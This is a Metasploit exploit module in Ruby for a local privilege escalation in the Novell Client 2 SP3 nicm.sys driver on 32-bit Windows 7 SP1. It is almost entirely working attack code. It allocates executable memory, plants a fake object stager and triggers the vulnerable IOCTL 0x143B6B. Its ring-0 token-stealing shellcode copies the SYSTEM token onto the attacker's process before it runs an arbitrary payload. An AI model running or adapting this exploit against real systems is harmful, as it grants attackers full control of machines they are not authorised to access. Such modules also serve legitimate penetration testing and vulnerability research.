Novell Client 2 SP3 nicm.sys Local Privilege Escalation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Post::Common  
include Msf::Post::Windows::Priv  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',  
'Description' => %q{  
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in  
kernel space. The vulnerability occurs while handling ioctl requests with code  
0x143B6B, where a user provided pointer is used as function pointer. The module  
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez' # MSF module  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Targets' =>  
[  
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows  
# as installed with Novell Client 2 SP3 for Windows 7  
[ 'Automatic', { } ],  
[ 'Windows 7 SP1',  
{  
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates  
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct  
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct  
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct  
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct  
}  
]  
],  
'Payload' =>  
{  
'Space' => 4096,  
'DisableNops' => true  
},  
'References' =>  
[  
[ 'OSVDB', '93718' ],  
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],  
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]  
],  
'DisclosureDate' => 'May 22 2013',  
'DefaultTarget' => 0  
}))  
  
end  
  
def add_railgun_functions  
session.railgun.add_function(  
'ntdll',  
'NtAllocateVirtualMemory',  
'DWORD',  
[  
["DWORD", "ProcessHandle", "in"],  
["PBLOB", "BaseAddress", "inout"],  
["PDWORD", "ZeroBits", "in"],  
["PBLOB", "RegionSize", "inout"],  
["DWORD", "AllocationType", "in"],  
["DWORD", "Protect", "in"]  
])  
  
session.railgun.add_function(  
'ntdll',  
'NtDeviceIoControlFile',  
'DWORD',  
[  
[ "DWORD", "FileHandle", "in" ],  
[ "DWORD", "Event", "in" ],  
[ "DWORD", "ApcRoutine", "in" ],  
[ "DWORD", "ApcContext", "in" ],  
[ "PDWORD", "IoStatusBlock", "out" ],  
[ "DWORD", "IoControlCode", "in" ],  
[ "LPVOID", "InputBuffer", "in" ],  
[ "DWORD", "InputBufferLength", "in" ],  
[ "LPVOID", "OutputBuffer", "in" ],  
[ "DWORD", "OutPutBufferLength", "in" ]  
])  
  
session.railgun.add_function(  
'ntdll',  
'NtQueryIntervalProfile',  
'DWORD',  
[  
[ "DWORD", "ProfileSource", "in" ],  
[ "PDWORD", "Interval", "out" ]  
])  
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')  
session.railgun.add_function(  
'psapi',  
'EnumDeviceDrivers',  
'BOOL',  
[  
["PBLOB", "lpImageBase", "out"],  
["DWORD", "cb", "in"],  
["PDWORD", "lpcbNeeded", "out"]  
])  
session.railgun.add_function(  
'psapi',  
'GetDeviceDriverBaseNameA',  
'DWORD',  
[  
["LPVOID", "ImageBase", "in"],  
["PBLOB", "lpBaseName", "out"],  
["DWORD", "nSize", "in"]  
])  
end  
  
def open_device(dev)  
  
invalid_handle_value = 0xFFFFFFFF  
  
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)  
  
handle = r['return']  
  
if handle == invalid_handle_value  
return nil  
end  
  
return handle  
end  
  
def execute_shellcode(shell_addr)  
  
vprint_status("Creating the thread to execute the shellcode...")  
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)  
if ret['return'] < 1  
vprint_error("Unable to CreateThread")  
return nil  
end  
hthread = ret['return']  
  
vprint_status("Resuming the Thread...")  
ret = client.railgun.kernel32.ResumeThread(hthread)  
if ret['return'] < 1  
vprint_error("Unable to ResumeThread")  
return nil  
end  
  
return true  
end  
  
def ring0_shellcode(t)  
tokenstealing = "\x52" # push edx # Save edx on the stack  
tokenstealing << "\x53" # push ebx # Save ebx on the stack  
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0  
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD  
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS  
tokenstealing << "\x8b\xc8" # mov ecx, eax  
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN  
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks  
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks  
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)  
tokenstealing << "\x75\xe8" # jne 0000101e ======================  
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX  
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX  
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS  
tokenstealing << "\x5b" # pop ebx # Restores ebx  
tokenstealing << "\x5a" # pop edx # Restores edx  
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!  
  
return tokenstealing  
end  
  
  
def allocate_memory(proc, address, length)  
  
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")  
  
if not result["BaseAddress"] or result["BaseAddress"].empty?  
vprint_error("Failed to allocate memory")  
return nil  
end  
  
my_address = result["BaseAddress"].unpack("V")[0]  
  
vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")  
  
if not proc.memory.writable?(my_address)  
vprint_error("Failed to allocate memory")  
return nil  
else  
vprint_good("0x#{my_address.to_s(16)} is now writable")  
end  
  
return my_address  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def check  
handle = open_device("\\\\.\\nicm")  
if handle.nil?  
return Exploit::CheckCode::Safe  
end  
session.railgun.kernel32.CloseHandle(handle)  
return Exploit::CheckCode::Detected  
end  
  
def exploit  
  
vprint_status("Adding the railgun stuff...")  
add_railgun_functions  
  
if sysinfo["Architecture"] =~ /wow64/i  
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")  
elsif sysinfo["Architecture"] =~ /x64/  
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")  
end  
  
my_target = nil  
if target.name =~ /Automatic/  
print_status("Detecting the target system...")  
os = sysinfo["OS"]  
if os =~ /windows 7/i  
my_target = targets[1]  
print_status("Running against #{my_target.name}")  
end  
else  
my_target = target  
end  
  
if my_target.nil?  
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")  
end  
  
print_status("Checking device...")  
handle = open_device("\\\\.\\nicm")  
if handle.nil?  
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found")  
else  
print_good("\\\\.\\nicm found!")  
end  
  
this_proc = session.sys.process.open  
  
print_status("Storing the Kernel stager on memory...")  
stager_address = 0x0d0d0000  
stager_address = allocate_memory(this_proc, stager_address, 0x1000)  
  
if stager_address.nil? or stager_address == 0  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")  
end  
  
# eax => &kernel_stager  
# .text:000121A3 mov ecx, eax  
# .text:000121A5 mov eax, [ecx]  
# .text:000121A7 mov edx, [eax]  
# .text:000121A9 push ecx  
# .text:000121AA push eax  
# .text:000121AB call dword ptr [edx+0Ch]  
kernel_stager = [  
stager_address + 0x14, # stager_address  
junk,  
junk,  
junk,  
junk,  
stager_address + 0x18, # stager_address + 0x14  
junk,  
junk,  
junk,  
stager_address + 0x28 # stager_address + 0x24  
].pack("V*")  
  
kernel_stager << ring0_shellcode(my_target)  
  
result = this_proc.memory.write(stager_address, kernel_stager)  
  
if result.nil?  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")  
else  
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")  
end  
  
  
print_status("Triggering the vulnerability to execute the Kernel Handler")  
magic_ioctl = 0x143B6B # Vulnerable IOCTL  
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)  
session.railgun.kernel32.CloseHandle(handle)  
  
if ioctl["GetLastError"] != 0  
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")  
end  
  
print_status("Checking privileges after exploitation...")  
  
if not is_system?  
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")  
else  
print_good("Exploitation successful!")  
end  
  
print_status("Storing the final payload on memory...")  
  
shell_address = 0x0c0c0000  
shell_address = allocate_memory(this_proc, shell_address, 0x1000)  
  
if shell_address.nil?  
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")  
end  
  
result = this_proc.memory.write(shell_address, payload.encoded)  
  
if result.nil?  
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")  
else  
print_good("Contents successfully written to 0x#{shell_address.to_s(16)}")  
end  
  
print_status("Executing the payload...")  
result = execute_shellcode(shell_address)  
if result.nil?  
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")  
else  
print_good("Enjoy!")  
end  
end  
  
end  
`